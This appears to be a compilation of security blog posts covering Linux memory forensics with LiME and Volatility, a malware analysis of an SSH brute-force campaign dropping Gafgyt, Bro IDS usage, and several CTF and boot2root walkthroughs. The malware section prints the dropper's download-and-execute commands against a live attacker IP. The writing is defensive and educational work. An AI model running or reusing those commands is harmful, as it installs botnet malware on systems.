Are you ready to dive into the exciting world of memory analysis?!? No? Well that’s too bad because you need to know it. There’s an old saying in InfoSec, “The packet doesn’t lie.” Well the same is true for memory analysis. It simply is what it is and because of that, can provide a wealth of information concerning a systems state. In some ways it’s similar in nature to our previous “Threat Hunting with Bro IDS” article.
This will probably be a multi part series. With this first post covering the basics of capturing memory images in Linux using LiME and testing with Volatility. Which is a great start for memory analysis. And another article digging much deeper into using my favorite memory analyzer Volatility.
Working with memory dumps in Linux is rather different than when dealing with Windows. But don’t worry little Padawan, it’s almost certainly worth it. Ok so before we begin.
Here’s what will happen at a high level:
1) We’ll first make sure our Ubuntu 16.04 Server box is completely upgraded. 2) Next we will install the proper dependancies for both LiME and Volatility. 3) We’ll install and configure LiME. 4) Then we’ll install and configure Volatility. 5) Finally we’ll create a test memory dump for the memory analysis. And use it to test that Volatility is working.
And here we go.
First make sure we’re starting off in our home directory. In my case it’s /home/i3carebears
System Update and Dependancies
Now let’s start the installation. We’ll start by making sure our system is up to date. Then that all of the dependancies needed have been installed.
git clone https://github.com/504ensicsLabs/LiME
cd LiME/src/
make
We’re interested in the last line of the “make” output which shows us the kernel we need to use. In my case it’s lime-4.4.0-89-generic.ko. And now we can load our kernel module.
The above command has loaded LiME and created our test snapshot of the systems memory that we’ll use for the forensic test analysis and placed it in the /tmp directory with the name “test.mem”. The “format=lime” is the default LiME format that we’ll save the memory image in. Volatility can easily recognize the lime format so this works out best. See, linux memory analysis isn’t as tough as you thought!
Installing Volatility
Now we need to create our Linux profile so that we can tell Volatility exactly what system/kernel we’re on. We begin by installing Volatility.
cd ../../
git clone https://github.com/volatilityfoundation/volatility
cd volatility/tools/linux/
make clean
make
Out next step is to locate our system map which tells Volatility how are memory analysis snapshot is structured. In Ubuntu this can typically be found in /boot/ so,
ls -al /boot/
Creating Volatility Profile
We’ll be using the System.map-4.4.0-89-generic file as it matches our lime-4.4.0-89-generic.ko file. We saw this when we first installed LiME. Now we’re going zip up both the module.dwarf file made by Volatility and our System map which results in creating the profile we need for Volatility to work properly. This step is vital for our memory analysis to not have issues.
cd ../../
sudo zip volatility/plugins/overlays/linux/Ubuntu160403-040400-89.zip tools/linux/module.dwarf /boot/System.map-4.4.0-89-generic
Running Volatility
Now we’ll check to see that Volatility has everything it needs to run properly.
python vol.py --info | grep Linux
As we can see Volatility now has the proper profile to use. In my case it’s called LinuxUbuntu160403-040400-89×64.
Let’s look and see what kind of plugins we can have Volatility run on our Linux memory snapshot. To do this we’ll run the following command.
python ./vol.py --info | grep -i linux_
Now let’s pick an interesting plugin and run it against our saved memory snapshot located in /tmp. The linux_bash is pretty interesting because it should show us the Bash commands that were ran prior to taking our snapshot.
You’ll notice that in this case we needed to run the command as “sudo”. As a result of us creating the memory snapshot /tmp/test.mem we ran “insmod” under “sudo” but you could simply change the test.mem file permissions if you wanted to.
Sending Memory Dumps over Network
Although we won’t get into it in this article, I wanted to let you know that you can also send the memory snapshots over the network if you wanted to another box. There are a lot of options with this but a simple example would look like this.
Finally, this has just a small taste into the wonders of Linux Memory Analysis. In another article we’ll start to deep dive into Memory Forensics using Volatility so make sure to follow me on Twitter at https://twitter.com/jamesbower to know when that comes out.
I’ve been monitoring an interesting threat for the past several days, a group I’m referring to as “Killer Swag”. Mainly because the initial dropper is called “Swag.sh” and “Killer Swag” just sounds cool. In another life I think I would have been a marketing genius, but I digress. This post will cover my research into Killer Swag but won’t be as detailed as I would like. Most of my malware analysis is dynamic in my sandbox environment but sadly that network is down due to the sauna like atmosphere it creates in my office. So “you” being the poor reader will have to suffer through my poor static analysis skills. So let’s begin!
Summary
From what I’ve observed the groups focus seems to be SSH brute force attacks. The initially activity began on May 10, 2017 and continued for slightly over a week until stopping completely on May 19th. Activity then picked up on June 2nd and increased ten fold by Tue, June 6, 2017. Killer Swag uses various subnets to brute force the root login and once successful immediately disconnects. The login information is then used by the IP addresses 181.215.195.56 and 154.16.3.104 to log into the honeypot and run several Linux commands before downloading the “Swag.sh” dropper from IP 107.174.34.70. This Bash script is then executed which in turn sends more wget request back to 107.174.34.70 to download multiple copies of the Linux.Gafgyt malware family and await further instructions.
Behavior
As stated above once a successful login is achieved the brute forcing ceases. The next step involves a login from one of the two IP addresses which are both owned by HostPalace Web Solution PVT LTD and conveniently allocated to two separate hosting companies. After login from either IP, the Killer Swags Bash script runs the following commands.
cd /tmp | | cd /var/run | | cd /mnt | | cd /root | | cd /
It’s likely that the above commands are used to verify the existence of the Linux filesystem before allowing the dropper to be downloaded. Next a wget request is sent out for a single file which has been identified as a generic Linux.Downloader from the following URL hxxp://107.174.34.70/Swag.sh
Once downloaded the dropper runs the following commands:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/sshd; chmod +x sshd; ./sshd; rm -rf sshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/openssh; chmod +x openssh; ./openssh; rm -rf openssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/bash; chmod +x bash; ./bash; rm -rf bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/tftp; chmod +x tftp; ./tftp; rm -rf tftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/wget; chmod +x wget; ./wget; rm -rf wget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/cron; chmod +x cron; ./cron; rm -rf cron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/ftp; chmod +x ftp; ./ftp; rm -rf ftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/pftp; chmod +x pftp; ./pftp; rm -rf pftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/sh; chmod +x sh; ./sh; rm -rf sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/' '; chmod +x ' '; ./' '; rm -rf ' '
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/apache2; chmod +x apache2; ./apache2; rm -rf apache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.34.70/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd
Each of these requests downloads and installs the Linux.Gafgyt backdoor and waits for further instructions.
Infrastructure
Let’s begin our analysis by doing some OSINT on both the Attacker IP’s and the Malware Host. One of the first things I check with IP’s is DNS resolution using something like RiskIQ but in this case none of the IP address resolved to anything. I followed this up by doing full TCP & UDP port scans for both attacking IPs using NMap and Unicorn but SSH continued to be the only available service on those IPs.
Attacker IP 1: 154.16.3.104
Open Ports: Full TCP + UDP Port Scans 22 Open (SSH-2.0-OpenSSH_5.3)
ASN: 133229 Organization: HostPalace Web Solution PVT LTD Country: India
Key Point: What’s interesting here is that both attacker IP’s although located in different countries have the same single uplink AS 133229 owned by HostPalace Web Solution PVT LTD.
Malware Hosting: 107.174.34.70
Open Ports: 22 (SSH-2.0-OpenSSH_5.3) 80 (Apache httpd 2.2.15)
Network Summary Owner: ColoCrossing (VGS-9) Country: United States (US) IP Range: 107.174.32.0/21
ASN: 36352 Organization: ColoCrossing Country: United States (US)
ColoCrossing has a handful of subnets at it’s disposal with it’s /21 and attackers will often times control multiple hosts under the same provider to make maintaining their infrastructure easier. With this in mind I decided to see if the payloads where being hosted on any other ColoCrossing machines. By combining the results of Censys.io and NMap I was able to find a total of 115 host with live web servers.
My next step was to feed the resulting URL list into wget to see if any of the IP’s were hosting the same payloads.
Pro Tip– When downloading malware directly from a host I always make sure to manipulate things such as the “user agent” string and the “referer”. This is twofold really. Changing the “user agent” string to appear as an actual browser or anything other than wget’s default is just a smart way to avoid any potential issues with the host blocking particular agent strings.
Changing the “referer” can potentially yield valuable information. I typically change the referer to either a URL shortner that I control or a unique URL such as jamesbower.com/U398Deq. The idea behind this is that if the attacker is monitoring access to the hosted payloads sees an interesting referer they may be more inclined to visit it thinking it links back to their host. Since the referer is unique and not shared, any access to it would most likely be coming from the attacker and could reveal details such as location, browser info and other potentially valuable intelligence.
None of the other webservers on ColoCrossing appeared to be hosting identical payloads at the time of this research.
Malware Analysis
I begin by downloading each malware through Tor to a temporary VPS I’ve setup to do some simple analysis. I check the file size initially. Then I move on to the file types.
From the file types we can see that the malware is setup to focus on at least several different system architectures. Now it’s time to create some SHA256 hashes so we can dive a little deeper. IMAGE*** With our SHA256 hashes we can begin querying Virus Total to get more insight into our malware. IMAGE*** I went ahead and submitted the other SHA256 hashes as well but the results are almost all identical to what is shown in the image above. Although the detection ratio was anywhere from 21-24 the results all named the malware Linux.Gafgyt which is an extremely common botnet that has quite a few variants and seems to be growing in popularity when compromising I0T devices. This may be due to the number of features built into the malware and the low entry needed for up and coming Internet hoodlums to start using it effectively.
When researching variants of the botnet I found that quite of few of them were using DNS on 8.8.8.8 to keep track of victims as they become infected. My version however seemed to be trying to connect to Telnet on 107.174.34.70 instead. This is strange to me considering that port 23 is closed on the host. A possibility is that my analysis is simply incorrect or the attacker is in fact using port 23 and reviewing the firewall logs as a means of keeping track of victims.
MalwareMustDie did a great job of providing a technical review of a lot of these variants and their research gave me some really good insight and is definitely worth a read.
Below are some of the interesting strings I found in the ntpd file. IMAGE*** Next I start deep diving into the ELF ntpd file using Radare2 and elf-parser. Putting these together we can gain a lot more information about this malware’s capabilities. IMAGE*** Below is a good break down of the main functionality. One of the most interesting pieces contained in the malware are the hardcoded IP’s used the C2 communication.
Random Functions rand() random_r() srand() srandom_r()
When detonating the malware in a sandbox I’m able to get very little network information as the initial C2 has already been taken offline. IMAGE*** But with the PCAP opened in Wireshark if we follow the TCP stream we’re able to confirm that the infected host try’s communicating via Telnet to 107.174.34.70 sending the data “PING”. IMAGE*** Now is a good time to look into the hardcoded C2 IP addresses.
Detection
Below you’ll find a simple Yara rule to detect the generic Gafgyt botnet malware described above.
Although the incident discussed above occurred on a honeypot, I believe it’s important to discuss simple remediations that could prevent this type of attack on production systems.
Password Complexity – Ensuring that your organization has put in place policies requiring at minimum a password complexity of at least eight character/alpha-numeric.
Fail2ban – Always a must on Linux/SSH systems. I generally have this set to a time out of 30-60 min after 5 failed login attempts.
SSH Keys – Getting away from using passwords and instead relying on SSH Keys can ease password management.
SSH Configuration – Disabling root login is still considered good practice for a reason.
This post is a quick look at how I personally use Bro IDS for threat hunting. Specifically some of the queries I run when I start a hunt by data set. A quick note on Bro. Bro IDS is a pretty amazing piece of software for threat hunting and my go to tool of choice. Bro is essentially a protocol analyzer. Furthermore, simply feed it a PCAP file or live traffic and watch if parse out individual protocols such as SMTP, IRC, FTP, HTTP, and a million others in nice individual log files. When examining it’s log files you’ll see that Bro was able to turn that network traffic into useful metadata. And that “metadata” helps to provide us with context which is the key to finding potential threats quickly. A powerful feature to use when hunting is the “bro-cut” utility. Bro-cut saves me a ton of time when writing out my query strings. To get your feet wet with Bro check out the interactive Bro tutorial here: http://try.bro.org/#/?example=hello or if you just want to dive in head first like me then check out my post on installing the latest Bro release on Ubuntu 16 here:
Before showing you some of the queries here is a quick explanation of some of the Bro-cut options I find useful.
Useful Bro-cut Command Options:
-d convert the epoch time values in the log files to human-readable format.
-c to include a corresponding format header into the output, which allows to chain multiple bro-cut instances or perform further post-processing that evaluates the header information.
-u Converting the timestamp from a log file to UTC
DNS Log
cat dns.log | bro-cut query | sort -u
cat dns.log | bro-cut -d answers | sort -u
Here’s what typical response to “cat dns.log | bro-cut query | sort -u” would show. Clearly one of my clients has an unhealthy obsession with Toys“R“Us.
Instructions The CTF is a virtual machine and works best in Virtual Box. Download the OVA file open up Virtual Box and then select File –> Import Appliance. Choose the OVA file from where you downloaded it. After importing the OVA file it is best to make sure that USB 2.0 is disabled before booting up the VM. The networking is setup as a Host-Only Adapter for networking but you can change this before booting up depending on your networking setup. If you have any questions please send me a message on Twitter @jamesbower and I’ll be happy to help.
Goal of Sky Dog Con CTF The purpose of this CTF is to find all eight flags hidden throughout the server by hacking network/system services and applications. This can be achieved without hacking the VM file itself.
Flags The six flags are in the form of flag{MD5 Hash} such as flag{1a79a4d60de6718e8e5b326e338ae533}
Walk Through
Flag#1 – “Don’t go Home Frank! There’s a Hex on Your House”
I begin by running a minimum port scan and find that only ports 80(HTTP) and 443(HTTPS) appear to be open.
Next I check out the web pages and see that they’re both the same webpage which is just the CTF homepage with details and instructions but no obvious flag.
Let’s see what my favorite old timer web scanner Nikto comes back with.
Nikto doesn’t provide me anything of real interest so I continue moving forward. I kick off Dirb to look for potentially sensitive directories but again I’m disappointed.
I use Burp Suite to spider the site and then do an active scan to look for some way of compromising either the site itself or the webserver itself.
Burp comes back showing the site has an LFI vulnerability but further analysis shows this is a false positive so no luck there. Out of habit I always love checking out a websites source code to see if anything interesting jumps out at me. Looking at the source code I notice a potentially interesting file at /oldIE/html5.js
When I look at the file I see an interesting sequence of numbers at the top.
These numbers look like hex! This has to be part of the flag just based on our clue. Now I convert the hex to text using the following xxd command.
And we’ve got our first flag. flag{7c0132070a0ef71d542663e9dc1f5dee}
Since I know the flags are all MD5 hashes I decided to Google the hash just for the heck of it. So 7c0132070a0ef71d542663e9dc1f5dee = “nmap”. Hmm..
Flag#2 – “Obscurity or Security? That is the Question”
Ok so when I look at the clue I think of “Security Through Obscurity” which for me translates into security in plain site. That along with the “nmap” MD5 hash from the last flag makes me think I need to look deeper into my nmap scans.
Ok after running a more complete scan of all 65535 ports I see that the server is running an SSH server on port 22222. That must be my way into the server.
I try logging into the SSH server with a basic test/test account just for the lulz.
Awesome! We’ve got our second flag.
Flag{53c82eba31f6d416f331de9162ebe997}
Ok so now I know the importance of looking up the MD5 hashes for additional clues. So 53c82eba31f6d416f331de9162ebe997 = “encrypt”.
Flag#3 – “During his Travels Frank has Been Known to Intercept Traffic”
Alright so our hero Frank has “intercepted traffic” in the past and our additional clue is “encrypt”. The only thing that I’ve come accross so far having anything to do with intercepting traffic and encryption would be the SSL in use for the default site. So I take a closer look at the SSL cert and BOOM. There’s the third flag. flag{f82366a9ddc064585d54e3f78bde3221}.
And f82366a9ddc064585d54e3f78bde3221 = “personnel”
Flag#4 – “A Good Agent is Hard to Find”
So I’m not really sure what this clue is referencing. Looks like the only thing I have to go on is the previous clue word of “personnel”. Possibly a password or maybe a directory? Let’s find out.
Hmm. Ok so we know that /personnel is a directory but we don’t appear to have access from the message we get; “ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation.” FBI Workstation huh? How does the webserver know I’m not coming from a FED machine? IP address or referrer or maybe my user agent string? Too many assumptions. Let’s look at what I know so far. So far my only real artifacts have been the html5.js file and the SSL cert. I don’t see anything else out of the ordinary in the SSL cert so I go back and continue looking through the html5.js file for clues. There is a bunch of junk in this file so I decide to just look at the comments first. And sure enough about half way through the file we come across some really interesting comments.
Turns out as of May 2016 the FBI still uses IE4 on all workstations per “[email protected]”. Can’t say this is too surprising but hey whatever floats your boat I guess. Ok so now I refresh the page with an IE4 user agent and we’re greeted with what looks to be an FBI Portal welcoming Agent Hanratty.
At the bottom of the portal we find our fourth flag{14e10d570047667f904261e6d08f520f} and a new clue “Clue = new+flag”.
And 14e10d570047667f904261e6d08f520f = “evidence”
Flag#5 – “The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices”
With the information we just got from Flag#4 I’m going to guess that I should see if /newevidence is a directory. Yep, but it looks like I need a username/password in order to log in along with still using an IE4 user agent.
Ok so let me think about this. When I logged into the Portal I was greeted as Agent Hanratty. It’s a good bet that Agent Hanratty is the user I need to be in order to log in but what’s his username? First thing I need to do is figure out what naming scheme the FBI uses when creating new users. Well if I look back at my notes I can see that the FBI creates accounts using the scheme “firstname.lastname” which I saw from the “[email protected]” comment in the source code.
Since I’ve watched the movie already I know that Agent Hanratty’s first name is Carl so his username should be carl.hanratty if my naming scheme guess is correct. Now for his password. The clue for Flag#5 talks about dialogue and “Best Practices”. I’m pretty sure that “Simple, Guessable, Personal and Goes Against Best Practices” is referring to passwords. Now I’m thinking about movie dialog with Carl Hanratty. I’ve got two choices here really. Watch the movie again or download a transcript of the movie. I decide that watching the movie again with some popcorn and two Czech gymnast is the better call.
Thanks old man, who ironically can barely hold up his sword so how is he supposed to protect the cup? But I digress. I have chosen wisely but I’m also all business so I paid special attention to anything Tom Hanks character said that might be personal and something that might be used as a password. Bingo, in one of the scenes Agent Hanratty mentions that he has a daughter named “Grace”. I kick out my libidinous and limber business associates. Time for James to get paid. Let’s see if that works.
Yep, I’ve now got access to the /newevidence directory and it looks like there’s a few things in here. Ok cool, so Evidence.txt contains our flag. flag{117c240d49f54096413dd64280399ea9}
And 117c240d49f54096413dd64280399ea9 = “panam”
Ok so PanAm is the major airline that Frank defrauds in the movie. I add this to my notes just in case it’s needed later.
Flag#6 – “Where in the World is Frank?”
Ok so where is Frank? I’ve still go the two files “image.jpg” and “Invoice.pdf”. I download both files to my Kali box and now it’s time to take a deeper look. I’m going to see if the PDF file is hiding anything that might interest me.
Nothing of value hiding inside the PDF except for where it was created but that’s a dead end. Now to look at the meta data for image.jpg. The only thing that pops out is the size. 4.1 MB for a JPEG seems rather large but not crazy large so this seems like another dead end.
Maybe I’m over thinking this. Let me look at the Invoice.pdf a little closer. So the invoice is for an “Encryption Consultation Project” from someone named Stefan Hetzl. A Google search for “stefan hetzl encryption” reveals that Stefan Hetzl is the author of Steghide. Steghide is a pretty awesome tool for using steganography and is built into Kali so that’s a pretty big clue. Then there is also the image itself. When I looked closely at it I could see sign on a building that said “le bellevue”. I Googled this and the results showed that it’s a place in France which is exactly where Frank ends up in the movie. But I still haven’t found the flag yet so deeper into the rabbit hole I go. I’m assuming that Steghide and image.jpg are linked now considering the size of the JPEG. Seems like a passphrase is needed to get pretty much any information out of Steghide. There’s a good chance that the passphrase is “panam” from our last MD5 hash. Ok very cool so the passphrase is “panam”.
Awesome so Steghide shows that there’s a file flag.txt embedded in the image. So now it’s time to extract it.
I’ve now got the flag.txt file in my current directory. And sure enough it contains our flag and a clue for Flag#7 “clue=iheartbrenda”. Onward and upward.
And d1e5146b171928731385eb7ea38c37b8 = “ILoveFrance”
Flag#7 – “Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!”
Ok so this is a weird clue. Why is Frank yelling “I’m the fastest man alive!”? That just sounds strange to me but at the same time also kind of familiar. I Google the phrase and sure enough it’s from super hero Barry Allen; aka The Flash. Now this is interesting because in the movie when Agent Hanratty realizes that Frank is actually a kid it’s because one of Franks aliases is Barry Allen which is one of the names he used when cashing checks so that makes sense. Now I make a bunch of different combinations of “barry allen” and “the flash” and see if they correspond with any directories which is a big no. Ok so the only place left to use any credentials that I’ve found is SSH. So I try “barry.allen” with a password of “iheartbrenda” but that doesn’t work. Next I try “barryallen” and “iheartbrenda” as the password and I’m in.
Ok nice. In Barry’s home directory I’ve got the seventh flag which is flag{bd2f6a1d5242c962a05619c56fa47ba6} and I’ve got a pretty large file called “security-system.data”.
And bd2f6a1d5242c962a05619c56fa47ba6 = “theflash”
Flag#8 – “Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!”
Now that I have SSH access to the Barry Allen account I begin looking closer at the security-system.data file in the home directory. I download the file to Kali to see what type of file it is. The file command shows it’s a zip file so I run the following.
Now security-system.data show’s as simply data. Running strings on the file I see a lot of mentions of memory so I’m thinking its a memory image of a machine. The next step is to look at the file using volatility.
I was able to grab a few images but only one had anything visable which showed an empty code.txt but nothing else. My next step is to see if anything was typed into the console.
Awesome! I can see that code.txt was created on the Desktop by echoing hex into the file. Time to see what the hex says so I run the xxd command again.
I decided to write out the steps I took to for installing Bro IDS 2.5 on Ubuntu 16.0x. Before we begin installing Bro from source we need to make sure we have all the correct dependencies.
The first step is letting Bro know which interface it needs to monitor.
sudo nano /usr/local/bro/etc/node.cfg
# Example BroControl node configuration.
#
# This example has a standalone node ready to go except for possibly changing
# the sniffing interface.
# This is a complete standalone configuration. Most likely you will
# only need to change the interface.
[bro]
type=standalone
host=localhost
interface=eth0
Running Broctl
broctl
(I got the below error message concerning permissions since I was running as a non-root user.)
Instructions The CTF is a virtual machine and works best in Virtual Box. This OVA was created using Virtual Box 4.3.32. Download the OVA file open up Virtual Box and then select File –> Import Appliance. Choose the OVA file from where you downloaded it. After importing the OVA file above it is best to disable the USB 2.0 setting before booting up the VM. The networking is setup for a NAT Network but you can change this before booting up depending on your networking setup. If you have any questions please send me a message on Twitter @jamesbower and I’ll be happy to help.
Goal of Sky Dog Con CTF The purpose of this CTF is to find all six flags hidden throughout the server by hacking network and system services. This can be achieved without hacking the VM file itself.
Flags The six flags are in the form of flag{MD5 Hash} such as flag{1a79a4d60de6718e8e5b326e338ae533}
Flag #1 Home Sweet Home or (A Picture is Worth a Thousand Words)
Flag #2 When do Androids Learn to Walk?
Flag #3 Who Can You Trust?
Flag #4 Who Doesn’t Love a Good Cocktail Party?
Flag #5 Another Day at the Office
Flag #6 Little Black Box
Walkthrough
Flag #1 Home Sweet Home
Starting off we need to find the IP address of our booted VM. We can generally do this by either running an nmap ping scan or by running a nifty tool called “netdiscover”.
Using Netdiscover for Host Discovery – Sky Dog Con CTF
Comparing the MAC address with the one given in our Virtual Box Settings we now know that the VM has an IP of 10.0.2.4.
Let’s find out what kind of services are running on it.
nmap -sV -P0 10.0.2.4
Ok so I’ve got a web server running Apache on Ubuntu along with an SSH server.
I’m going to dig a little deeper into the SSH server.
Nothing too revealing at the moment. Time to look into the webserver.
#PenTestProTip – Always make sure to keep notes while pentesting. The more detailed the better. Whether it’s an application, network, or even a mobile app I’m constantly creating “digital breadcrumbs” if you will in Evernote. This can also include things like screen shots, config files and other assets or whatever.
We already know that the server is running Apache so lets take a look.
Ok, so the homepage is basically just this SkyDog picture.
This reminds me that the first clue is “Home Sweet Home”. Maybe this is a reference to the homepage? I guess we’ll see.
The image seems pretty legit so let’s check out the source of the page.
Alright, the homepage is literally just the image.
#PenTestProTip – At this point most people will conclude that this is a dead end and move on. This happens in pen testing all the time. You begin to follow a lead and then give up right before the finish line. In my mind the image itself “SkyDogCon_CTF.jpg” is still an asset that needs to be analyzed.
I save the image to the desktop and do a quick check to see what’s up with it.
exiftool SkyDogCon_CTF.jpg
Great! We’ve got the first flag!
flag{abc40a2d4e023b42bd1ff04891549ae2}
But before moving on I want to know if this hash has any sort of significance or something. Let’s see what Google has to say.
Welcome Home! Very interesting. This goes in the notes.
Htop is an interactive system-monitor process-viewer written for Linux. On most of my servers I have it up and running continually if I’m not actively on the box. It’s great to be able to quickly glance up and see the current state of a particular server or to see if something I’m running has gotten out of hand (I’m looking at you Bro). On FreeBSD 10.x the install is pretty straight forward with some minor tweaks.
Simply run the following commands:
$ sudo pkg install htop
Now create the proper folders:
mkdir -p /usr/compat/linux/proc
ln -s /usr/compat /compat
Once this is done you’ll need to add the following line to /etc/fstab
linproc /compat/linux/proc linprocfs rw,late 0 0
Lastly we need to mount it using
mount linproc
Now you should be able to run Htop from your command line.
So this past weekend I attended the Security Onion Conference in Augusta, GA. While sitting in the back listening to some great speakers, @pentestfail and I were hacking away on a side project of his that involved analyzing a decent number of PCAP files.
As usual I was doing my analysis using Wireshark. But when trying to get a birds eye view of a network I really like to use something like Capsa (which I’ve only run on Windows) to quickly see the whole picture and let me find interesting bits of traffic.
Then I’ll use Wireshark to dig deeper into the things I want to look at. But I had only brought my laptop which is running Kali Linux.
So welcome NetworkMiner to the rescue. NetworkMiner is also a Windows program but can be run on Linux using mono pretty easily. Here’s how I got it up in running on my Kali Linux box in about 2 minutes.
This is my walkthrough for defeating Tr0ll infosec challenge. This is another great “boot2root” VM that kept my guessing quite a few times. It also made me focus more on fully utilizing some of the scripts and programs I generally use during a penetration test. I also really liked the fact that Wireshark played a key role in solving this hacking challenge (Wireshark is pretty amazing in my book). So I sit down at my setup and begin.
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-19 11:42 EDT Nmap scan report for 192.168.2.40 Host is up (0.00060s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 1000 0 8068 Aug 10 00:43 lol.pcap [NSE: writeable] 22/tcp open ssh (protocol 2.0) | ssh-hostkey: | 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA) | 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA) |_ 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/secret |_http-title: Site doesn’t have a title (text/html). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port22-TCP:V=6.46%I=7%D=8/19%Time=53F3705E%P=x86_64-unknown-linux-gnu%r SF:(NULL,29,”SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n”); MAC Address: 08:00:27:F2:5C:A9 (Cadmus Computer Systems) No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=6.46%E=4%D=8/19%OT=21%CT=1%CU=31767%PV=Y%DS=1
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.05 seconds
Enumeration:
Since the webserver is enabled I’ll continue to gather intel even though I really want to check out the FTP anonymous service that’s running. But patience really is a key to beating a lot of these challenges.
[email protected]:~# nikto -h http://192.168.2.40 – Nikto v2.1.6 ————————————————————————— + Target IP: 192.168.2.40 + Target Hostname: 192.168.2.40 + Target Port: 80 + Start Time: 2014-08-19 11:44:43 (GMT-4) ————————————————————————— + Server: Apache/2.4.7 (Ubuntu) + Server leaks inodes via ETags, header found with file /, fields: 0x24 0x500438fe37ded + The anti-clickjacking X-Frame-Options header is not present. + No CGI Directories found (use ‘-C all’ to force check all possible dirs) + File/dir ‘/secret/’ in robots.txt returned a non-forbidden or redirect HTTP code (200) + “robots.txt” contains 1 entry which should be manually viewed. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3092: /secret/: This might be interesting… + OSVDB-3233: /icons/README: Apache default file found. + 6605 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2014-08-19 11:45:03 (GMT-4) (20 seconds) ————————————————————————— + 1 host(s) tested
I also continue enumerating the webserver with dirb since it’s just part of my methodology and you just never know.
[email protected]:~# dirb http://192.168.2.40 —————– DIRB v2.21 By The Dark Raver —————–
START_TIME: Tue Aug 19 11:45:38 2014 URL_BASE: http://192.168.2.40/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
Now my thinking is that I’ll check out the FTP service and then look into /secret web directory if FTP doesn’t lead anywhere. But FTP has to come first because who finds anonymous FTP access anymore? So this is at least interesting, which in my experience is a good indication that it will come into play at some point. I also looked at SSH but that seems to be pretty normal and trying to exploit this version would prove to be pretty difficult so I’ll leave that as a last resort. So the first attack vector to look into deeper is FTP. I’ll see if anonymous FTP access on this server can provide any clues or further information. If not then I’ll dig deeper into “vsftpd 3.0.2” to see what type of exploits are available for that version.
The anonymous FTP contains only a single file called “lol.pcap” which has really peaked my interest. I go ahead and look up “vsftpd 3.0.2” exploits but nothing really pops out immediately so I’ll put that on the back burner for now and focus on the pcap file.
[email protected]:~# ftp 192.168.2.40 Connected to 192.168.2.40. 220 (vsFTPd 3.0.2) Name (192.168.2.40:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rwxrwxrwx 1 1000 0 8068 Aug 10 00:43 lol.pcap 226 Directory send OK. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rwxrwxrwx 1 1000 0 8068 Aug 10 00:43 lol.pcap 226 Directory send OK. ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 112 4096 Aug 10 00:43 . drwxr-xr-x 2 0 112 4096 Aug 10 00:43 .. -rwxrwxrwx 1 1000 0 8068 Aug 10 00:43 lol.pcap 226 Directory send OK. ftp> pwd 257 “/” ftp> get lol.pcap local: lol.pcap remote: lol.pcap 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for lol.pcap (8068 bytes). 226 Transfer complete. 8068 bytes received in 0.00 secs (16587.2 kB/s)
My next step is to copy “lol.pcap” over to my machine and load this up in Wireshark and see what kind of traffic it has. Hopefully there will be some useful information for me to use.
So I see an FTP data session that shows a file transfer. Luckily FTP uses cleartext so I’ll be able to dig deeper into this. I can see a file that was transferred called “secret_stuff.txt”. I reconstruct the FTP transfer and what do you know? It gives me a nice little message.
Ok I can see that @maleus21 is messing with me. I go over the traffic several more times to make sure that I didn’t miss anything but it looks like I’ve found all the useful information. And of course I continue to feel mocked.
My only clue here is that “sup3rs3cr3tdirlol” is mentioning a directory. Since FTP doesn’t have anything more for me and I have no SSH information to go on my only hope is the webserver. So I whisper “Help me Apache 2.4.7….Your my only hope.” First I try out the /secret that I discovered earlier. But this is another dead end belittling my skills. But I check the source of the page just to make sure but it’s definitley a dead end.
